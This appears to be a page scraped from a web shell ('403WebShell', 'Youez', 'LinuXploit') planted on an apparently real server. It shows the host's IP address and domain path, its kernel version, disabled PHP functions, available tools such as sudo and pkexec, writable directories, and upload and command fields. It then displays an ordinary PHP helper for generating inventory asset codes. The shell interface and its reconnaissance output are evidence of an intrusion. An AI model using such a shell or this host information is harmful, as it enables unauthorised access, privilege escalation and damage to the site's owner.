Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/itms.arukustech.com/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/itms.arukustech.com/app/helpers/asset_code.php
<?php
function generateAssetCode($category_id)
{
    $pdo = db();

    // 1. Get prefix from inv_categories
    $stmt = $pdo->prepare("SELECT asset_prefix FROM inv_categories WHERE id = ?");
    $stmt->execute([$category_id]);
    $prefix = $stmt->fetchColumn();

    if (!$prefix) {
        throw new Exception("Category prefix not found in inv_categories!");
    }

    // 2. Find last asset_code for this category prefix
    $stmt = $pdo->prepare("
        SELECT asset_code 
        FROM inventory_items
        WHERE asset_code LIKE ?
        ORDER BY id DESC
        LIMIT 1
    ");
    $stmt->execute([$prefix . '%']);
    $last = $stmt->fetchColumn();

    // 3. Determine next number
    if ($last) {
        $num = intval(substr($last, strlen($prefix))) + 1;
    } else {
        $num = 1;
    }

    // 4. Build code ? TECHLAP001
    return $prefix . str_pad($num, 3, '0', STR_PAD_LEFT);
}

Youez - 2016 - github.com/yon3zu
LinuXploit